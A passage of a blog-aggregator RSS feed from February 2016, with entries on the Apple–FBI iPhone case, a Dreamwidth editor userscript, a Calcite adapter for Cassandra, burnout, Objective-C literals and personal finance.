ApplevsFBI case</title><link>https://stop.zona-m.net/2016/02/what-almost-nobody-is-telling-you-about-the-applevsfbi-case/</link><description>&lt;figure&gt;
  &lt;img alt="What almost nobody is telling you about the ApplevsFBI case /img/applevsfbi.jpg" src="https://stop.zona-m.net//img/applevsfbi.jpg" width="100%" /&gt;
  &lt;figcaption&gt;
&lt;pre&gt;&lt;code&gt;Screenshot source: https://www.youtube.com/watch?v=bKggZezZf2M

&amp;lt;/em&amp;gt;&amp;lt;/u&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;FBI says that Apple must help them, because nobody else can do it, to unlock the iPhone used by San Bernardino shooter. The complete story is quite more complex than this one-sentence summary, but there is **one **part of it that, as far as I can see has received almost **zero **attention so far (*):&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 23 Feb 2016 08:55:36 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/02/what-almost-nobody-is-telling-you-about-the-applevsfbi-case/</guid></item><item><title>A better rich text editor for Dreamwidth</title><link>https://spindas.dreamwidth.org/2452.html</link><description>&lt;p&gt;For whatever reason, Dreamwidth’s default rich text editor (built on an old version of FCKEditor) hides a lot of the available toolbar buttons. I’ve written a quick userscript that enables all available buttons in the editor, and also increases the height a bit to make writing more pleasant. I’ve tested it on Firefox with GreaseMonkey; presumably it should work on Chrome/Chromium as well.&lt;/p&gt;



&lt;pre class="prettyprint"&gt;&lt;code class="language-javascript hljs "&gt;&lt;span class="hljs-comment"&gt;// ==UserScript==&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// @name        Better Dreamwidth Editor&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// @namespace   betterdweditor&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// @include     https://www.dreamwidth.org/update?usejournal=spindas&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// @include     https://www.dreamwidth.org/editjournal*&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// @version     1&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// @grant       none&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// ==/UserScript==&lt;/span&gt;

window.onload = &lt;span class="hljs-function"&gt;&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-params"&gt;()&lt;/span&gt; {&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;var&lt;/span&gt; frame = document.getElementById(&lt;span class="hljs-string"&gt;'draft___Frame'&lt;/span&gt;);
  frame.onload = &lt;span class="hljs-function"&gt;&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-params"&gt;()&lt;/span&gt; {&lt;/span&gt;
    document.getElementById(&lt;span class="hljs-string"&gt;'draft___Frame'&lt;/span&gt;).style.height = &lt;span class="hljs-string"&gt;'600px'&lt;/span&gt;;
  };
  frame.src = &lt;span class="hljs-string"&gt;'https://www.dreamwidth.org/stc/fck/editor/fckeditor.html?InstanceName=draft&amp;amp;Toolbar=Default'&lt;/span&gt;;
};&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="comment count unavailable" height="12" src="https://www.dreamwidth.org/tools/commentcount?user=spindas&amp;amp;ditemid=2452" style="vertical-align: middle;" width="30" /&gt; comments</description><author>spinda's dreamwidth</author><pubDate>Tue, 23 Feb 2016 03:39:29 GMT</pubDate><guid isPermaLink="true">https://spindas.dreamwidth.org/2452.html</guid></item><item><title>A Neural Network in 28 Lines of Theano</title><link>https://ben.bolte.cc/posts/2016-02-23-theano</link><description>A quick introduction to using Theano for deep learning, from the bare-bones to a full neural network.</description><author>Ben Bolte</author><pubDate>Tue, 23 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ben.bolte.cc/posts/2016-02-23-theano</guid></item><item><title>3D Rotating cubes hover effect</title><link>https://muffinman.io/blog/3d-rotating-cube-effect/</link><description>&lt;article class="article"&gt;&lt;p&gt;Again, I&amp;#x27;ve seen it somewhere on the internet and recreated it.
This one uses jQuery, although I plan to rewrite it to vanilla JavaScript.&lt;/p&gt;
&lt;p&gt;It switches between two &lt;i&gt;sides&lt;/i&gt; of the cube, every time you hover.
Depending from which side cursor entered the cube, it will rotate in opposite direction.
It is fully responsive, and on touch devices, direction depends of where you tap.&lt;/p&gt;
&lt;p&gt;Cube side is a regular &lt;code&gt;div&lt;/code&gt;, and you can put any type of content in it.&lt;/p&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Demo - 3D Rotating cubes hover effect" height="637" src="./cube-3D-rotate-grid.png" width="1102" /&gt;&lt;/figure&gt;
&lt;p&gt;Works on every modern browser, but on IE it falls back to the fade effect.
Thing is that Internet Explorers do not support &lt;code&gt;transform-style: preserve-3d&lt;/code&gt; property.
More on &lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/transform-style"&gt;MDN&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Check the &lt;a href="https://muffinman.io/cube-3D-rotate-grid/"&gt;demo&lt;/a&gt;.
Documentation is on the same page.&lt;/p&gt;
&lt;p&gt;Grab the code on &lt;a href="https://github.com/Stanko/cube-3D-rotate-grid"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Warning: Every person introduced to these cubes, played with them for ages :)&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Tue, 23 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/3d-rotating-cube-effect/</guid></item><item><title>Custom Jekyll pagination</title><link>https://muffinman.io/blog/custom-jekyll-pagination/</link><description>&lt;article class="article"&gt;&lt;div class="notice notice--warning"&gt;Please note that I&amp;#x27;m not using Jekyll anymore, so this post might be outdated.&lt;/div&gt;&lt;p&gt;Jekyll comes with simple pagination which has only &lt;code&gt;Newer&lt;/code&gt; and &lt;code&gt;Older&lt;/code&gt; links.
I wanted a little bit more, now pagination shows at least five pages, with current in the middle.
On the larger screens there are also first and last page links.
&lt;code&gt;Newer&lt;/code&gt; and &lt;code&gt;Older&lt;/code&gt; links are, of course, still there.&lt;/p&gt;
&lt;p&gt;Check the &lt;a href="https://gist.github.com/Stanko/4e379a72715fc596c1cc"&gt;gist with the code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can see it at the bottom of this website, or just check the screenshot below:&lt;/p&gt;
&lt;figure class="image__figure image__figure--center"&gt;&lt;img alt="Custom Jekyll pagination" height="410" src="./jekyll-pagination.png" width="500" /&gt;&lt;/figure&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 22 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/custom-jekyll-pagination/</guid></item><item><title>Animated login and signup forms</title><link>https://muffinman.io/blog/animated-login-signup-forms/</link><description>&lt;article class="article"&gt;&lt;p&gt;Well I saw a pretty nice mockup on &lt;a href="https://dribbble.com/shots/2311260-Day-1-Sign-Up-and-Login-Animated-Download-Template"&gt;Dribbble&lt;/a&gt;
and decided to make it for fun. It didn&amp;#x27;t include a mobile/responsive solution, so I came up with my own.&lt;/p&gt;
&lt;figure class="image__figure wide image__figure--wide"&gt;&lt;img alt="Animated onboarding demo" height="624" src="./animated-onboarding.png" width="1200" /&gt;&lt;/figure&gt;
&lt;p&gt;Check the &lt;a href="https://muffinman.io/animated-onboarding/"&gt;demo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is a pure CSS solution - it uses the &lt;code&gt;:target&lt;/code&gt; selector for changing states.
Find more about &lt;code&gt;:target&lt;/code&gt; on &lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:target"&gt;MDN&lt;/a&gt;.
This is neat, as it also can be bookmarked in both states, and browser buttons work too.&lt;/p&gt;
&lt;p&gt;Grab the code on &lt;a href="https://github.com/Stanko/animated-onboarding"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 22 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/animated-login-signup-forms/</guid></item><item><title>Processing webhooks using Wishbone Part 2: Pagerduty Webhooks</title><link>https://smetj.net/processing_webhooks_using_wishbone_part_2.html</link><description>&lt;p&gt;In &lt;a class="reference external" href="http://smetj.net/processing_webhooks_using_wishbone_part_1.html"&gt;a previous article&lt;/a&gt; we covered how to accept and validate webhook data
using &lt;a class="reference external" href="http://wishbone.readthedocs.org/en/latest"&gt;Wishbone&lt;/a&gt;.  In this article we will take things a step further by
processing Pagerduty webhook events and convert them into Nagios external
commands.&lt;/p&gt;
&lt;div class="section" id="our-goal"&gt;
&lt;h2&gt;Our goal&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.pagerduty.com"&gt;Pagerduty&lt;/a&gt; is a platform for Enterprise-grade incident management that
helps orchestrate …&lt;/p&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Sun, 21 Feb 2016 11:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/processing_webhooks_using_wishbone_part_2.html</guid></item><item><title>Spotlight</title><link>https://olshansky.info/movie/spotlight/</link><description>Olshansky's review of Spotlight</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 21 Feb 2016 09:18:03 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/spotlight/</guid></item><item><title>Links - Feb 21th, 2016</title><link>https://faingezicht.com/links/2016/02/21/links/</link><description/><author>Avy Faingezicht</author><pubDate>Sun, 21 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/02/21/links/</guid></item><item><title>Representation and JITting of math trees</title><link>https://mattkeeter.com/blog/2016-02-21-jit</link><description/><author>Matt Keeter</author><pubDate>Sun, 21 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/blog/2016-02-21-jit</guid></item><item><title>Hello World</title><link>https://muffinman.io/blog/hello-world/</link><description>&lt;article class="article"&gt;&lt;p&gt;Everything starts with a &lt;code&gt;Hello World&lt;/code&gt; so does this blog.&lt;/p&gt;
&lt;p&gt;In the first couple of weeks, everything will be under heavy development, until I get it the way I want.&lt;/p&gt;
&lt;p&gt;As I really enjoy making stuff, I decided to try to make small JavaScript or CSS (SASS) plugin/script every week.
Those are going to be both big and small, proof of concepts and production ready stuff.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sun, 21 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/hello-world/</guid></item><item><title/><link>https://rybakov.com/blog/husten/</link><description>&lt;p&gt;// Husten? We have a problem. //&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 21 Feb 2016 01:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/husten/</guid></item><item><title>A Calcite adapter for Apache Cassandra</title><link>https://michael.mior.ca/blog/calcite-cassandra-adapter/</link><description>&lt;p&gt;For those not familiar, &lt;a href="https://calcite.apache.org/"&gt;Apache Calcite&lt;/a&gt; is a generic SQL query optimizer which can execute SQL queries over multiple backend data sources.
This is a powerful concept because it allows complex queries to be executed over sources which provide much simpler interfaces from &lt;a href="https://calcite.apache.org/apidocs/org/apache/calcite/adapter/csv/package-summary.html"&gt;CSV files&lt;/a&gt; to &lt;a href="https://calcite.apache.org/apidocs/org/apache/calcite/adapter/mongodb/package-summary.html"&gt;MongoDB&lt;/a&gt;.
Calcite is also leveraged as the cost-based-optimizer framework for the &lt;a href="https://cwiki.apache.org/confluence/display/Hive/Cost-based+optimization+in+Hive"&gt;Apache Hive&lt;/a&gt; data warehouse.&lt;/p&gt;
&lt;p&gt;Much of my PhD research has revolved around generating optimized schemas for NoSQL databases such as &lt;a href="https://cassandra.apache.org/"&gt;Apache Cassandra&lt;/a&gt;.
(For a proof-of-concept tool, check out the &lt;a href="https://github.com/michaelmior/NoSE"&gt;NoSQL Schema Evaluator&lt;/a&gt;.)
On discovering calcite, this seemed like a good fit with my work.
One of the challenges with using NoSQL databases for complex queries is the necessity of working within the restrictions set by the query language.
In previous work, I built a very simple query execution on top of Cassandra designed to execute a predefined set of query plans.
Leveraging Calcite, it is possible to execute a very complete &lt;a href="https://calcite.apache.org/docs/reference.html"&gt;dialect of SQL&lt;/a&gt; on top of any defined data source (which calcite calls “adapters”).&lt;/p&gt;
&lt;p&gt;Unfortunately, Calcite did not already have an adapter for Cassandra.
Fortunately, writing an adapter is a fairly straightforward process, so I decided to take this on.
The simplest possible implementation of an adapter provides a set of tables along with a scan operator to retrieve all the rows in the tables.
While this is sufficient to enable Calcite to perform query execution, scanning a table in Cassandra is &lt;a href="http://www.myhowto.org/bigdata/2013/11/04/scanning-the-entire-cassandra-column-family-with-cql/"&gt;very inefficient&lt;/a&gt;.
This is a result of the fact that partitions in a Cassandra table are commonly distributed across nodes via hash partitioning.
While it is possible to retrieve all rows, they will be produced in a random order and the query will need to contact all nodes in the database.
Assuming that the query the user wants to issue does not need to touch all rows in a table, it is possible to use filtering in the Cassandra Query Language (&lt;a href="http://docs.datastax.com/en/cql/3.3/cql/cql_reference/cqlReferenceTOC.html"&gt;CQL&lt;/a&gt;) to push filtering down to Cassandra.&lt;/p&gt;
&lt;p&gt;The current version of the adapter also supports exploiting the native sort order of Cassandra tables by &lt;a href="https://docs.datastax.com/en/cql/3.0/cql/ddl/ddl_compound_keys_c.html"&gt;clustering key&lt;/a&gt;.
There is still a lot of work to be done, but an initial version of this adapter should be shipped in Calcite 1.7.0.
Until the release, you’ll have to compile &lt;a href="https://github.com/apache/calcite/"&gt;from source&lt;/a&gt;.
A quick set of commands to get things running is below.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;$ git &lt;span class="built_in"&gt;clone&lt;/span&gt; https://github.com/apache/calcite.git
$ &lt;span class="built_in"&gt;cd&lt;/span&gt; calcite
$ mvn install

&lt;span class="comment"&gt;# You will need to create a JSON document which provides connection information&lt;/span&gt;
&lt;span class="comment"&gt;# An example can be found in ./cassandra/src/test/resources/model.json&lt;/span&gt;
$ ./sqlline
sqlline&amp;gt; !connect jdbc:calcite:model=path/to/cassandra/model.json admin admin&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point you can write SQL queries which reference your Cassandra tables.
Note that table names need to be quoted and there will likely be some failures with certain query patterns.
You can view the proposed plan for a query by prefixing it with &lt;code&gt;EXPLAIN PLAN FOR&lt;/code&gt; in the &lt;code&gt;sqlline&lt;/code&gt; shell.
This will show whether the query is able to exploit filtering or sorting directly in CQL.
This is a long way from making Cassandra a viable data warehouse, but it may be helpful for performing occasional analytical queries without needing to write a significant amount of code.&lt;/p&gt;
&lt;h2 id="update-march-27-2016"&gt;Update: March 27, 2016&lt;/h2&gt;
&lt;p&gt;Calcite 1.7.0 has now been &lt;a href="https://calcite.apache.org/docs/history.html#v1-7-0"&gt;released&lt;/a&gt; which includes the Cassandra adapter.
In addition to what was discussed above, the adapter also now automatically recognizes &lt;a href="https://www.datastax.com/dev/blog/new-in-cassandra-3-0-materialized-views"&gt;materialized views&lt;/a&gt;.
&lt;a href="https://calcite.apache.org/docs/cassandra_adapter.html"&gt;Documentation&lt;/a&gt; is available on the Calcite website.&lt;/p&gt;</description><author>Michael Mior</author><pubDate>Sat, 20 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://michael.mior.ca/blog/calcite-cassandra-adapter/</guid></item><item><title>Moon Mirror</title><link>https://june.kim/moon-mirror/</link><author>june.kim</author><pubDate>Sat, 20 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/moon-mirror/</guid></item><item><title>sometimes</title><link>https://rybakov.com/blog/sometimes/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_SDI0347bs.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;sometimes I feel //&lt;br /&gt;
like a motherless child //&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 19 Feb 2016 22:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/sometimes/</guid></item><item><title>Blogging is backwards</title><link>https://snevsky.com/blog/blogging</link><description>Though I’m constantly tempted, I just can’t seem to keep up a blog. I just find the format to be weird. Blogs are series of loosely related thoughts told to an ever-increasing audience on an irregular basis, backwards. It doesn’t make much sense to me. It never has.</description><author>Serge Nevsky</author><pubDate>Fri, 19 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://snevsky.com/blog/blogging</guid></item><item><title>Fight Burnout, Go For a Run</title><link>https://ntietz.com/blog/fight-burnout-go-for-a-run/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Here's something we don't talk about enough: burnout sucks and it can happen to any one of us. We need to talk about it. We need to know how to deal with it and recover from it. And we need to recognize that everyone can come back from it, stronger than ever.&lt;/p&gt;
&lt;p&gt;In the software industry, we are subject to lots of pressure, long hours, and emotionally taxing work&lt;a href="https://ntietz.com/blog/fight-burnout-go-for-a-run/#footnote-1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;. These are stressful and very difficult to deal with, and can ultimately lead to burnout. I hope those reading this have not had to deal with it, but I sadly suspect that most of you have (or will). I know that I have, and more than once.&lt;/p&gt;
&lt;p&gt;The first time I experienced burnout was in 2012, when I ambitiously chose to take on not one, but two, undergraduate research projects simultaneously. Some people may thrive in this environment, but it ended up reducing me to tears and ultimately leading me out of academia and into industry&lt;a href="https://ntietz.com/blog/fight-burnout-go-for-a-run/#footnote-2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The second time I experienced burnout was in 2014. I was working for a &lt;a href="http://www.graphsql.com"&gt;startup&lt;/a&gt; which I believed in 100%&lt;a href="https://ntietz.com/blog/fight-burnout-go-for-a-run/#footnote-3"&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;. Any job comes with stress and can have long hours (especially for a young software engineer who does not know how to set boundaries), and since I believed 100% in the company, I sacrificed too much while having no other outlet for my stress.&lt;/p&gt;
&lt;p&gt;This stress culminated in me lying on the floor of my house, in tears, broken. Something had to change. Either I would find a way to deal with the stress, or I would have to find a new industry to work in, because this was simply not sustainable. Almost without thought, I walked over to the door, laced up my Nike running shoes, and went and ran the first damn mile I had run in a long, long time. The more my feet hit the pavement, the more my stress melted away, and by the time I was done I felt like a normal human being again. The repetitive, meditative nature of running melted it all away (and the endorphins didn't hurt, either).&lt;/p&gt;
&lt;p&gt;It took me a long time to recover from burnout in 2012 and in 2014, but I did it, and I came back stronger for it each time. I now know how to set boundaries, how to relax and have a life outside of work, and I've adopted a hobby that will keep improving my health for a long time. And I joined a &lt;a href="http://crosschx.com/"&gt;great company&lt;/a&gt; doing some stuff I really care about, but I'm also really sure that the changes I've made will ensure I stay a strong, healthy engineer for years to come.&lt;/p&gt;
&lt;p&gt;Unfortunately, my experiences here are not unique.&lt;/p&gt;
&lt;p&gt;If you are fighting with burnout right now, please, join me: go for a run, or a bike ride, or a long walk (no phone allowed). Your mind will be &lt;a href="http://news.stanford.edu/news/2014/april/walking-vs-sitting-042414.html"&gt;clearer&lt;/a&gt; and it will be one small step on the road to recovery (if not, at least you still got some exercise!). (And if you need someone to talk to, get in touch.)&lt;/p&gt;
&lt;p&gt;If you have gone through burnout or fought with mental illness, I beg of you: post your story and share it wide. As an industry, we have a responsibility to protect each others' health, physical and mental. A big part of that is sharing our stories and our coping mechanisms so no one has to feel alone, trapped, or hopeless.&lt;/p&gt;
&lt;p&gt;+++&lt;/p&gt;
&lt;p&gt;&lt;a id="footnote-1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; Personally, I find programming to be nearly constant emotional whiplash: the successes make me feel really great, and the roadblocks and failures make me feel really awful. Anecdotally, many of my coworkers have felt same way.&lt;br /&gt;
&lt;a id="footnote-2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; I recently revisited this decision, and tried out grad school. Fairly quickly, I determined once again it was the wrong choice for me, but it was good to make this decision again when not experiencing burnout.&lt;br /&gt;
&lt;a id="footnote-3"&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt; It is still my belief that GraphSQL has essentially the best graph computing platform out there. Adam, please make a public release soon! I want to play with it again!&lt;br /&gt;&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Fri, 19 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/fight-burnout-go-for-a-run/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>[Computing] Death to the Win32 console subsystem</title><link>https://www.devever.net/~hl/win32con</link><description>&lt;p&gt;The Win32 console subsystem is an unmitigated piece of crap, as probably anyone
who has actually had to use, or program for it, will testify.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Fri, 19 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/win32con</guid></item><item><title>Fixing a baffling issue when running Electron as root in GNU/Linux</title><link>https://www.jviotti.com/2016/02/19/fixing-a-baffling-issue-when-running-electron-as-root-in-gnu-linux.html</link><description>This article discusses a Chromium sandboxing permission error when executing an Electron application as root on GNU/Linux</description><author>Juan Cruz Viotti</author><pubDate>Fri, 19 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.jviotti.com/2016/02/19/fixing-a-baffling-issue-when-running-electron-as-root-in-gnu-linux.html</guid></item><item><title>Reverse engineering the Firewatch.camera API (and pranking r/Firewatch)</title><link>https://spindas.dreamwidth.org/2244.html</link><description>&lt;a href="http://firewatchgame.com"&gt;Firewatch&lt;/a&gt; is a story-centric game by &lt;a href="http://camposanto.com"&gt;Campo Santo&lt;/a&gt; and &lt;a href="https://panic.com"&gt;Panic&lt;/a&gt;. I played it all the way through this weekend  and had a really great time with it. Besides the top-notch voice acting, gorgeous  visuals, and mystery-filled plot, one feature that&amp;rsquo;s been getting a lot of  attention is the disposable camera the player carries through most of the game.  Starting with 18 unused shots on the roll, you can fill it up with snaps of  trees and trails and plenty of sunsets peaking over the hills. At the end  they&amp;rsquo;re all uploaded to a personal page on &lt;a href="https://firewatch.camera"&gt;Firewatch.camera&lt;/a&gt;, where you can share them  or order prints from the &amp;quot;Fotodome&amp;quot;.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Firewatch photo upload screen" height="401" src="https://www.spinda.net/files/blog/firewatch/photo_upload_screen.png" width="690" /&gt;&lt;br /&gt;&lt;br /&gt;At the end of my own playthrough, I uploaded my shots and logged onto the site  to see them.&lt;br /&gt;&lt;br /&gt;&lt;img alt="My camera roll" height="579" src="https://www.spinda.net/files/blog/firewatch/my_camera_roll.png" width="684" /&gt;&lt;br /&gt;&lt;br /&gt;But one of them came out&amp;hellip; weird.&lt;span class="cut-wrapper"&gt;&lt;span class="cuttag" id="span-cuttag___1" style="display: none;"&gt;&lt;/span&gt;&lt;b class="cut-open"&gt;(&amp;nbsp;&lt;/b&gt;&lt;b class="cut-text"&gt;&lt;a href="https://spindas.dreamwidth.org/2244.html#cutid1"&gt;Read more...&lt;/a&gt;&lt;/b&gt;&lt;b class="cut-close"&gt;&amp;nbsp;)&lt;/b&gt;&lt;/span&gt;&lt;div id="div-cuttag___1" style="display: none;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="comment count unavailable" height="12" src="https://www.dreamwidth.org/tools/commentcount?user=spindas&amp;amp;ditemid=2244" style="vertical-align: middle;" width="30" /&gt; comments</description><author>spinda's dreamwidth</author><pubDate>Fri, 19 Feb 2016 01:22:05 GMT</pubDate><guid isPermaLink="true">https://spindas.dreamwidth.org/2244.html</guid></item><item><title>A geo database for polygons, foundations</title><link>https://blog.nobugware.com/post/2016/geo_db_s2_region_polygon/</link><description>On a previous post, I&amp;rsquo;ve described how to use the S2 geo library to create a fast geo database, but it was to store locations (points) and only to perform range queries, a complete geo database would have regions/polygons queries.
Looking for a solution I had this need: querying for the countries or subregions of hundreds of coordinates per second, without relying on an external service.
One solution, using my previous technique, could have been to store every cities in the world and then perform a proximity query around my point to get the closest cities, but it works only in populated area and it&amp;rsquo;s only an approximation.</description><author>Fabrice Aneche</author><pubDate>Fri, 19 Feb 2016 00:16:55 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/geo_db_s2_region_polygon/</guid></item><item><title>Gait</title><link>https://rybakov.com/blog/gait/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="gait" loop="true" poster="/video/gait/gait.jpg"&gt;
      &lt;source src="../video/gait/gait.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="gaitbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="gaitpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Wenn man nach langem Flug noch auf den verspäteten Zug warten muss, kann man den Gang der Menschen beobachten.&lt;br /&gt;
Wie sie das Knie voranschleudern, und der Unterschenkel schwingt mit und die Ferse trifft gewaltsam auf den Boden.&lt;br /&gt;
Oder da läuft jemand sehr kontrolliert, schwunglos, und stellt sein Fuß vorsichtig ab.&lt;br /&gt;
Und wie die Zwischenschicht zwischen Mensch und Boden die Raumposition und Bewegungsablauf beeinflußt! Ein Wunder, dass sie nicht alle ausrutschen!&lt;/p&gt;
&lt;p&gt;Ich saß da, ließ die Peking-Ente kalt werden und versank völlig in menschlichen Füßen, bis mein Zug kam.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Thu, 18 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/gait/</guid></item><item><title>Some modern Objective-C idioms</title><link>https://xenodium.com/some-modern-objective-c-idioms</link><description>&lt;h2&gt;NSNumber literals&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-objc"&gt;NSNumber *number1 = @1024;
NSNumber *number2 = @1024.123f;
NSNumber *number3 = @'A';
NSNumber *number4 = @YES;
NSNumber *number5 = @24ul; // Unsigned long.
NSNumber *number6 = @123456ll; // Long Long.
NSNumber *number7 = @5050.50; // Float.
NSNumber *number8 = @1543; // Integer
NSNumber *number9 = @111.456; // Double
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Array literals&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-objc"&gt;NSArray *names = @[@&amp;quot;John\n&amp;quot;, @&amp;quot;Peter\n&amp;quot;, @&amp;quot;Jaye\n&amp;quot;, @&amp;quot;George\n&amp;quot;, @&amp;quot;Max&amp;quot;];
NSArray *mutableNames = [@[@&amp;quot;John\n&amp;quot;, @&amp;quot;Peter\n&amp;quot;, @&amp;quot;Jaye\n&amp;quot;, @&amp;quot;George\n&amp;quot;, @&amp;quot;Max&amp;quot;] mutableCopy];
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 18 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/some-modern-objective-c-idioms</guid></item><item><title>On Money (again)</title><link>https://josh.works/on-money-again</link><description>&lt;p&gt;Recently I posted
&lt;a href="/thoughts-on-money-from-2013"&gt;thoughts about money&lt;/a&gt; I’d written from back in 2013. &lt;/p&gt;

&lt;p&gt;Money is hard to write about, because there are many different ways we can approach it. It’s easy to feel judged when someone does something with their money that I don’t do with mine.&lt;/p&gt;

&lt;p&gt;That all said, there have been some books, articles, and ways of thinking that represent an internally consistent approach to earning and spending money, 
andhave aided me tremendously in my own thinking on money.&lt;/p&gt;

&lt;p&gt;I want to explain this approach, and share these resources. Hopefully they’ll spark some thought, and you can read more deeply as you see fit.&lt;/p&gt;

&lt;h2 id="money-is-a-function-of-time"&gt;Money is a function of time&lt;/h2&gt;

&lt;p&gt;In a normal “go to work, earn money, and spend it on things” world (which is the world we all live in) money is a concrete representation of time.&lt;/p&gt;

&lt;p&gt;If you get paid $20/hr at work, and you buy a $20 t-shirt, that t-shirt cost you one hour of work. If you earn $40/hr, that t-shirt now costs you 30 minutes of work. &lt;/p&gt;

&lt;p&gt;Its easy to convert between an annual wage and hourly wage. Assuming someone works about 40 hours a week, for 50 weeks a year (two weeks vacation) if you earn $xx,000/year, to get to your hourly wage, remove the “thousands”, and cut the first number in half.&lt;/p&gt;

&lt;p&gt;$30,000/yr &amp;gt; remove thousands &amp;gt; $30 &amp;gt; cut the first number in half &amp;gt; 15. $30,000/yr = $15/hr.&lt;/p&gt;

&lt;p&gt;$100,000/yr = $50/hr&lt;/p&gt;

&lt;p&gt;$24.50/hr = $48,000/yr.&lt;/p&gt;

&lt;p&gt;If you earn $25,000/year, a $8 burrito from Chipotle costs 40 minutes of your time. &lt;/p&gt;

&lt;h3 id="the-good-news-is-this-math-is-quite-easy-the-bad-news-is-this-method-overstates-your-earnings"&gt;The good news is, this math is quite easy. The bad news is, this method overstates your earnings. &lt;/h3&gt;

&lt;p&gt;Your hourly wage includes not just your income divided by hours that you work - it equals (your income - work related expenses) divided by (hours worked + hours spent preparing for/ recovering from work.)&lt;/p&gt;

&lt;p&gt;So an effective hourly wage of $30/hr (or $60k/year) drops quickly once you take out taxes, monthly gas/metro fare costs, business-casual clothing budget, food purchased while at work, retirement contributions, and more. &lt;/p&gt;

&lt;p&gt;The hours that you spend working are probably more than 40. You have to count your time traveling to and from work, prep time in the mornings, rest time in the evening, and the drinking you do on weekends to recover from the stress of work. Oh, and you don’t work JUST 40 hours, anyway. &lt;/p&gt;

